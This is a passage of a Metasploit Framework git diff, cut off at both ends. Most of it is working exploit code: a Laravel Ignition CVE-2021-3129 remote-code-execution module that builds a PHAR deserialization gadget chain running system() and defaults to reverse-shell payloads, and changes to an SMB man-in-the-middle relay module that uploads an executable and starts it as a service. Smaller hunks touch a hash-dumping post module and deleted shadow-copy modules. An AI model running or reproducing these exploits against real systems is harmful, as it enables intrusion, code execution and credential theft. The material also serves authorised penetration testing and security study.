sites using debug mode with Laravel before 8.4.2. + }, + 'Author' => [ + 'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging + 'ambionics' # discovered + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2021-3129'], + ['URL', 'https://www.ambionics.io/blog/laravel-debug-rce'] + ], + 'DisclosureDate' => '2021-01-13', + 'Platform' => %w[unix linux macos win], + 'Targets' => [ + [ + 'Unix (In-Memory)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } + } + ], + [ + 'Windows (In-Memory)', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :win_memory, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } + } + ] + ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']), + OptString.new('LOGFILE', [false, 'Laravel log file absolute path']) + ]) + end + + def check + print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'PUT' + }, 1) + # Check whether it is using facade/ignition + # If is using it should respond method not allowed + # checking if debug mode is enable + if res && res.code == 405 && res.body.match(/label:"(Debug)"/) + vprint_status 'Debug mode is enabled.' + # check version + versions = JSON.parse( + res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}') + ) + version = Rex::Version.new(versions['framework_version']) + vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}" + # to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid) + # but it is way more intrusive than just checking the version moreover we would need to call + # the find_log_file method before, meaning four requests more. + return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1') + end + return Exploit::CheckCode::Safe + end + + def exploit + @logfile = datastore['LOGFILE'] || find_log_file + fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile + + clear_log + put_payload + convert_to_phar + run_phar + + handler + + clear_log + end + + def find_log_file + vprint_status 'Trying to detect log file' + res = post Rex::Text.rand_text_alpha_upper(12) + if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?}) + logpath = Regexp.last_match(1).gsub(/\\/, '') + vprint_status "Found directory candidate #{logpath}" + logfile = "#{logpath}/storage/logs/laravel.log" + vprint_status "Checking if #{logfile} exists" + res = post logfile + if res.code == 200 + vprint_status "Found log file #{logfile}" + return logfile + end + vprint_error "Log file does not exist #{logfile}" + return + end + vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually' + return + end + + def clear_log + res = post "php://filter/read=consumed/resource=#{@logfile}" + # guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true) + fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200 + end + + def put_payload + post format_payload + post Rex::Text.rand_text_alpha_upper(2) + end + + def convert_to_phar + filters = %w[ + convert.quoted-printable-decode + convert.iconv.utf-16le.utf-8 + convert.base64-decode + ].join('|') + + post "php://filter/write=#{filters}/resource=#{@logfile}" + end + + def run_phar + post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt" + # resp.body.match(%r{^(.*)\n<!doctype html>}) + # $1 ? print_good($1) : nil + end + + def body_template(data) + { + solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution', + parameters: { + viewFile: data, + variableName: Rex::Text.rand_text_alpha_lower(4..12) + } + }.to_json + end + + def post(data) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s), + 'method' => 'POST', + 'data' => body_template(data), + 'ctype' => 'application/json', + 'headers' => { + 'Accept' => '*/*', + 'Accept-Encoding' => 'gzip, deflate' + } + }) + end + + def generate_phar(pop) + file = Rex::Text.rand_text_alpha_lower(8) + stub = "<?php __HALT_COMPILER(); ?>\r\n" + file_contents = Rex::Text.rand_text_alpha_lower(20) + file_crc32 = Zlib.crc32(file_contents) & 0xffffffff + manifest_len = 40 + pop.length + file.length + phar = stub + phar << [manifest_len].pack('V') # length of manifest in bytes + phar << [0x1].pack('V') # number of files in the phar + phar << [0x11].pack('v') # api version of the phar manifest + phar << [0x10000].pack('V') # global phar bitmapped flags + phar << [0x0].pack('V') # length of phar alias + phar << [pop.length].pack('V') # length of phar metadata + phar << pop # pop chain + phar << [file.length].pack('V') # length of filename in the archive + phar << file # filename + phar << [file_contents.length].pack('V') # length of the uncompressed file contents + phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970. + phar << [file_contents.length].pack('V') # length of the compressed file contents + phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents + phar << [0x1b6].pack('V') # bit-mapped file-specific flags + phar << [0x0].pack('V') # serialized File Meta-data length + phar << file_contents # serialized File Meta-data + phar << [Rex::Text.sha1(phar)].pack('H*') # signature + phar << [0x2].pack('V') # signiture type + phar << 'GBMB' # signature presence + + return phar + end + + def format_payload + # rubocop:disable Style/StringLiterals + serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\"" + serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";" + serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\"" + serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\"" + serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";" + serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";" + serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}" + # rubocop:enable Style/StringLiterals + phar = generate_phar(serialize) + + b64_gadget = Base64.strict_encode64(phar).gsub('=', '') + payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join + + return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00' + end + +end diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index 11dda803f2..694ec2dde7 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -44,6 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Privileged' => true, 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index 21ea18c8d0..883160ba60 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -60,7 +60,8 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('SHARE', [true, 'The share to connect to', 'ADMIN$']), OptString.new('INTERFACE', [true, 'The name of the interface']), OptString.new('DefangedMode', [true, 'Run in defanged mode', true]), - OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]) + OptString.new('DisableFwd', [true, 'Disable packet forwarding on port 445', true]), + OptBool.new('ConfirmServerDialect', [true, 'Confirm the server supports an SMB2 dialect.']) # For future cross LAN work: # OptString.new('GATEWAY', [ true, "The network gateway ip address" ]) ] @@ -85,8 +86,13 @@ class MetasploitModule < Msf::Exploit::Remote end print_good('INFO : Warming up...') print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0 - @sessions = {} - @mutex = Mutex.new + @sessions = [] + @sessions_mutex = Mutex.new + @drop_packet_ip_port_map = {} + @drop_packet_ip_port_mutex = Mutex.new + @negotiated_dialect_map = {} + @negotiated_dialect_mutex = Mutex.new + @confirm_server_dialect = datastore['ConfirmServerDialect'] || false @arp_cache = {} @arp_mutex = Mutex.new @main_threads = [] @@ -184,32 +190,10 @@ class MetasploitModule < Msf::Exploit::Remote c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) == 0") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) - exists = @mutex.synchronize do - @sessions[packet.ip_header.ip_daddr] # Prevent erasing existing sessions. - end - if exists - tcp_src = @mutex.synchronize do - @sessions[packet.ip_header.ip_daddr][:tcp_src] - end - if tcp_src != packet.tcp_header.tcp_src - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end - else - dstmac = getarp(packet.ip_header.ip_daddr) - #puts "Got dstmac: #{dstmac.inspect}" - @mutex.synchronize do - @sessions[packet.ip_header.ip_daddr] = {} - @sessions[packet.ip_header.ip_daddr][:tcp_src] = packet.tcp_header.tcp_src - @sessions[packet.ip_header.ip_daddr][:acknum] = packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:seqnum] = packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:active] = true - @sessions[packet.ip_header.ip_daddr][:dstmac] = dstmac - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac]) - packet.to_w(@interface) - end + unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] + packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) + packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) + packet.to_w(@interface) end end end @@ -223,26 +207,10 @@ class MetasploitModule < Msf::Exploit::Remote c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-ack) != 0 and tcp[((tcp[12] >> 4) * 4) + 4 : 4] != 0xfe534d42") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) - @mutex.synchronize do - if @sessions[packet.ip_header.ip_daddr] - if @sessions[packet.ip_header.ip_daddr][:active] - @sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] - @sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] - packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum] - packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum] - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac]) - packet.to_w(@interface) - elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end - else - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end + unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] + packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) + packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) + packet.to_w(@interface) end end end @@ -256,18 +224,13 @@ class MetasploitModule < Msf::Exploit::Remote c.stream.setfilter("ether dst #{@mac} and not ether src #{@mac} and dst port 445 and tcp[tcpflags] & (tcp-syn) == 0 and tcp[tcpflags] & (tcp-rst) != 0") c.stream.each_data do |data| packet = PacketFu::Packet.parse(data) - @mutex.synchronize do - if @sessions[packet.ip_header.ip_daddr] - if @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end - else - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end + unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] + #puts "Forwarding RST..." + packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) + packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) + packet.to_w(@interface) + else + #puts "Not Forwarding RST..." end end end @@ -359,69 +322,128 @@ class MetasploitModule < Msf::Exploit::Remote nss = packet.payload[0..3] smb2 = packet.payload[4..-1] # Only Parse Packets from known sessions - @mutex.synchronize do - if @sessions[packet.ip_header.ip_daddr] && @sessions[packet.ip_header.ip_daddr][:active] && (smb2[0..4] != "\xFFSMB") - case smb2[11..12] - when "\x00\x00" # Negotiate Protocol Request - smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) - # Dialect Count Set To 1 - dialect = smb_packet.dialects.first - @sessions[packet.ip_header.ip_daddr][:dialect] = dialect - unless dialect >= 0x311 - smb_packet.dialect_count = 1 - smb_packet.dialects = [smb_packet.dialects.first] - smb_packet.negotiate_context_list = [] - smb_packet.client_start_time = 0 - # Re-Calculate Length: (Optional...) - # nss = [smb_packet.to_binary_s.size].pack("N") - packet.payload = "#{nss}#{smb_packet.to_binary_s}" - end - when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH - smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) - if (smb_packet.smb2_header.session_id != 0 ) && (@sessions[packet.ip_header.ip_daddr][:dialect] < 0x300) - # Disable Session - @sessions[packet.ip_header.ip_daddr][:active] = false - @sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] - @sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] - # Start Main Thread - @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do - main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac]) + if (smb2[0..4] != "\xFFSMB") && !@sessions.include?(packet.ip_header.ip_daddr) && !@drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] + case smb2[11..12] + when "\x00\x00" # Negotiate Protocol Request + smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) + # Dialect Count Set To 1 + dialect = smb_packet.dialects.first + #puts "Got dialect: #{dialect}" + # TODO: We could negotiate different dialects between the server and client, but it would require a more interactive approach. + unless smb_packet.dialects.min >= 0x300 + #puts "Minimum dialect was less then 0x300." + begin + if @negotiated_dialect_map[packet.tcp_header.tcp_src] + dialect = @negotiated_dialect_map[packet.tcp_header.tcp_src] + else + if @confirm_server_dialect + # Check if the server supports any SMB2 dialects + Timeout::timeout(2.75) do + rport = packet.tcp_header.tcp_src - (rand(42) + 42) + @drop_packet_ip_port_mutex.synchronize do + @drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = true + end + dispatcher = Msf::Exploit::SMB::ShadowMitmDispatcher.new( + interface: @interface, + mac: @mac, + eth_src: Rex::Socket.eth_aton(@mac), + eth_dst: Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)), + ip_src: Rex::Socket.addr_iton(packet.ip_header.ip_src), + ip_dst: Rex::Socket.addr_iton(packet.ip_header.ip_dst), + tcp_src: rport, + tcp_dst: packet.tcp_header.tcp_dst, + tcp_seq: rand(0xdddddddd) + 0xdddddd, + tcp_ack: 0, + tcp_win: packet.tcp_header.tcp_win + ) + dispatcher.send_packet( + '', + nbss_header: false, + tcp_flags: { syn: 1 }, + tcp_opts: PacketFu::TcpOptions.new.encode("MSS:#{Msf::Exploit::SMB::ShadowMitmDispatcher::TCP_MSS}").to_s + ) + dispatcher.recv_packet + dispatcher.send_packet( + '', + nbss_header: false, + tcp_flags: { ack: 1 } + ) + client = RubySMB::Client.new(dispatcher, smb1: true, smb2: true, smb3: false, username: '', password: '') + client.negotiate + dialect = client.dialect.to_i(16) + #pp dialect + @drop_packet_ip_port_mutex.synchronize do + @drop_packet_ip_port_map[packet.ip_header.ip_saddr + rport.to_s] = false + end + @negotiated_dialect_mutex.synchronize do + @negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect + end + end + else + # We just assume the server supports the client's minimum dialect. + dialect = smb_packet.dialects.min + @negotiated_dialect_mutex.synchronize do + @negotiated_dialect_map[packet.tcp_header.tcp_src] = dialect + end + end end - end - when "\x00\x03" # Tree Connect Request - smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2) - if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && (@sessions[packet.ip_header.ip_daddr][:dialect] >= 0x300) - # Disable Session - @sessions[packet.ip_header.ip_daddr][:active] = false - @sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] - @sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] - # Start Main Thread - @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do - main_thread(packet: packet, dialect: @sessions[packet.ip_header.ip_daddr][:dialect], dstmac: @sessions[packet.ip_header.ip_daddr][:dstmac]) + unless dialect >= 0x300 + original_size = smb_packet.to_binary_s.size + smb_packet.dialects = [dialect] + smb_packet.negotiate_context_list = [] + smb_packet.client_start_time = 0 + # Re-Calculate Length: (Optional...) + #nss = [smb_packet.to_binary_s.size].pack("N") + # Add more dialects while keeping the dialect count at one to pad out the message. + ((original_size - smb_packet.to_binary_s.size)/2).times {|i| smb_packet.dialects << dialect } + smb_packet.dialect_count = 1 + packet.payload = "#{nss}#{smb_packet.to_binary_s}" + packet.recalc end + rescue Timeout::Error, Errno::ECONNREFUSED, RubySMB::Error::CommunicationError, RubySMB::Error::NegotiationFailure => e + # We were unable to connect to the server or we were unable to negotiate any SMB2 dialects + print_status("Confirm Server Dialect Error: #{e}") + end + end + when "\x00\x01" # Session Setup Request, NTLMSSP_AUTH + smb_packet = RubySMB::SMB2::Packet::SessionSetupRequest.read(smb2) + if (smb_packet.smb2_header.session_id != 0 ) && (@negotiated_dialect_map[packet.tcp_header.tcp_src] && @negotiated_dialect_map[packet.tcp_header.tcp_src] < 0x300) + # Disable Session + #@sessions[packet.ip_header.ip_daddr][:active] = false + @drop_packet_ip_port_mutex.synchronize do + @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true + end + #@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] + #@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] + # Start Main Thread + @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do + main_thread(packet: packet, dialect: @negotiated_dialect_map[packet.tcp_header.tcp_src], dstmac: getarp(packet.ip_header.ip_daddr)) + end + end + when "\x00\x03" # Tree Connect Request + smb_packet = RubySMB::SMB2::Packet::TreeConnectRequest.read(smb2) + if smb_packet.path.include?("\\IPC$".encode("UTF-16LE")) && ((@negotiated_dialect_map[packet.tcp_header.tcp_src] == nil) || @negotiated_dialect_map[packet.tcp_header.tcp_src] >= 0x300) + #puts "Disabling Session." + # Disable Session + #@sessions[packet.ip_header.ip_daddr][:active] = false + @drop_packet_ip_port_mutex.synchronize do + @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] = true + end + #@sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] + #@sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] + # Start Main Thread + @main_threads << Rex::ThreadFactory.spawn("MainThread#{packet.tcp_header.tcp_src}", false) do + main_thread(packet: packet, dialect: 0x300, dstmac: getarp(packet.ip_header.ip_daddr)) end end end - if @sessions[packet.ip_header.ip_daddr] - if @sessions[packet.ip_header.ip_daddr][:active] - @sessions[packet.ip_header.ip_daddr][:acknum] += packet.tcp_header.tcp_ack - @sessions[packet.ip_header.ip_daddr][:acknum] - @sessions[packet.ip_header.ip_daddr][:seqnum] += packet.tcp_header.tcp_seq - @sessions[packet.ip_header.ip_daddr][:seqnum] - packet.tcp_header.tcp_ack = @sessions[packet.ip_header.ip_daddr][:acknum] - packet.tcp_header.tcp_seq = @sessions[packet.ip_header.ip_daddr][:seqnum] - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(@sessions[packet.ip_header.ip_daddr][:dstmac]) - packet.recalc - packet.to_w(@interface) - elsif @sessions[packet.ip_header.ip_daddr][:tcp_src] != packet.tcp_header.tcp_src - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end - else - packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) - packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) - packet.to_w(@interface) - end + end + unless @drop_packet_ip_port_map[packet.ip_header.ip_saddr + packet.tcp_header.tcp_src.to_s] + #puts "Sending packet..." + packet.eth_header.eth_src = Rex::Socket.eth_aton(@mac) + packet.eth_header.eth_dst = Rex::Socket.eth_aton(getarp(packet.ip_header.ip_daddr)) + #packet.recalc + packet.to_w(@interface) end end end @@ -467,7 +489,6 @@ class MetasploitModule < Msf::Exploit::Remote if dialect >= 0x300 tree = RubySMB::SMB2::Tree.new(client: client, share: "\\\\#{address}\\IPC$", response: smb_packet, encrypt: false) print_status('Regenerating the payload...') - code = regenerate_payload print_status('Uploading payload...') filename = rand_text_alpha(8) + '.exe' @@ -494,7 +515,7 @@ class MetasploitModule < Msf::Exploit::Remote log: false ) end - sleep 5 + sleep 3 print_status("Created \\#{filename}...") else print_status('Connecting to the defined share...') @@ -532,6 +553,7 @@ class MetasploitModule < Msf::Exploit::Remote service: "%SYSTEMROOT%\\#{filename}" ) + @sessions_mutex.synchronize { @sessions << address } sleep 0.5 if dialect >= 0x300 @@ -555,8 +577,21 @@ class MetasploitModule < Msf::Exploit::Remote file = tree.open_file(filename: filename, delete: true) file.delete end - tree.disconnect! +=begin + # Prevent STATUS_USER_SESSION_DELETED + #sleep 42 <- We must use traffic to prevent the server from closing the connection + 20.times do + sleep 2 + begin + tree.open_file(filename: '.', read: false) + rescue RubySMB::Error::UnexpectedStatusCode + # Expected STATUS_ACCESS_DENIED + end + end +=end + + tree.disconnect! client.disconnect! return true # Done. diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 88147ed36c..4e95e53130 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Post 'joev' ], 'Platform' => [ 'osx' ], - 'SessionTypes' => [ 'shell' ] + 'SessionTypes' => %w[shell meterpreter] )) register_options([ OptRegexp.new('MATCHUSER', [false, diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb deleted file mode 100644 index 90997f5972..0000000000 --- a/modules/post/windows/manage/vss_create.rb +++ /dev/null @@ -1,59 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Windows::ShadowCopy - - include Msf::Module::Deprecated - deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_CREATE action") - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage Create Shadow Copy", - 'Description' => %q{ - This module will attempt to create a new volume shadow copy. - This is based on the VSSOwn Script originally posted by - Tim Tomes and Mark Baggett. - - Works on win2k3 and later. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['theLightCosine'], - 'References' => [ - [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ] - ] - )) - register_options( - [ - OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']) - ]) - - end - - - def run - unless is_admin? - print_error("This module requires admin privs to run") - return - end - if is_uac_enabled? - print_error("This module requires UAC to be bypassed first") - return - end - unless start_vss - return - end - id = create_shadowcopy(datastore['VOLUME']) - if id - print_good "Shadow Copy #{id} created!" - end - end - - - -end diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb deleted file mode 100644 index 0a42d41f26..0000000000 --- a/modules/post/windows/manage/vss_list.rb +++ /dev/null @@ -1,70 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Windows::ShadowCopy - - include Msf::Module::Deprecated - deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_LIST_COPIES action") - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage List Shadow Copies", - 'Description' => %q{ - This module will attempt to list any Volume Shadow Copies - on the system. This is based on the VSSOwn Script - originally posted by Tim Tomes and Mark Baggett. - - Works on win2k3 and later. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['theLightCosine'], - 'References' => [ - [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ] - ] - )) - end - - - def run - unless is_admin? - print_error("This module requires admin privs to run") - return - end - if is_uac_enabled? - print_error("This module requires UAC to be bypassed first") - return - end - unless start_vss - return - end - - list = "" - shadow_copies = vss_list - unless shadow_copies.empty? - shadow_copies.each do |copy| - tbl = Rex::Text::Table.new( - 'Header' => 'Shadow Copy Data', - 'Indent' => 1, - 'Columns' => ['Field', 'Value'] - ) - copy.each_pair{|k,v| tbl << [k,v]} - list << " #{tbl.to_s} \n\n" - print_good tbl.to_s - end - store_loot( - 'host.shadowcopies', - 'text/plain', - session, - list, - 'shadowcopies.txt', - 'Shadow Copy Info' - ) - end - end -end diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb deleted file mode 100644 index 3d0ae8bb7e..0000000000 --- a/modules/post/windows/manage/vss_mount.rb +++ /dev/null @@ -1,64 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Windows::ShadowCopy - - include Msf::Module::Deprecated - deprecated(Date.new(2021, 4, 11), reason = "Use post/windows/manage/vss and the VSS_MOUNT action") - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => "Windows Manage Mount Shadow Copy", - 'Description' => %q{ - This module will attempt to mount a Volume Shadow Copy - on the system. This is based on the VSSOwn Script - originally posted by Tim Tomes and Mark Baggett. - - Works on win2k3 and later. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['theLightCosine'], - 'References' => [ - [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ] - ], - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_sys_process_execute - ] - } - } - ) - ) - register_options( - [ - OptString.new('DEVICE', [ true, 'DeviceObject of Shadowcopy to mount.' ]), - OptString.new('PATH', [ true, 'Path to mount it to.' ]) - ] - ) - end - - def run - unless is_admin? - print_error("This module requires admin privs to run") - return - end - if is_uac_enabled? - print_error("This module requires UAC to be bypassed first") - return - end - unless start_vss - return - end - - r = session.sys.process.execute("cmd.exe /C mklink /D #{datastore['DEVICE']} #{datastore['PATH']}", nil, { 'Hidden' => true }) - end -end diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb deleted file mode 100644 index 4d65fb0cfe..0000000000 --- a/modules/post/windows/manage/vss_set_storage.rb +++ /dev/null @@ -1,61 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Windows::ShadowCopy - - include Msf::Module::Deprecated - deprecated(Date.new(2021, 4, 11), reason="Use post/windows/manage/vss and the VSS_SET_MAX_STORAGE_SIZE action") - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Manage Set Shadow Copy Storage Space", - 'Description' => %q{ - This module will attempt to change the amount of space - for volume shadow copy storage. This is based on the - VSSOwn Script originally posted by Tim Tomes and - Mark Baggett. - - Works on win2k3 and later. - }, - 'License' => MSF_LICENSE, - 'Platform' => 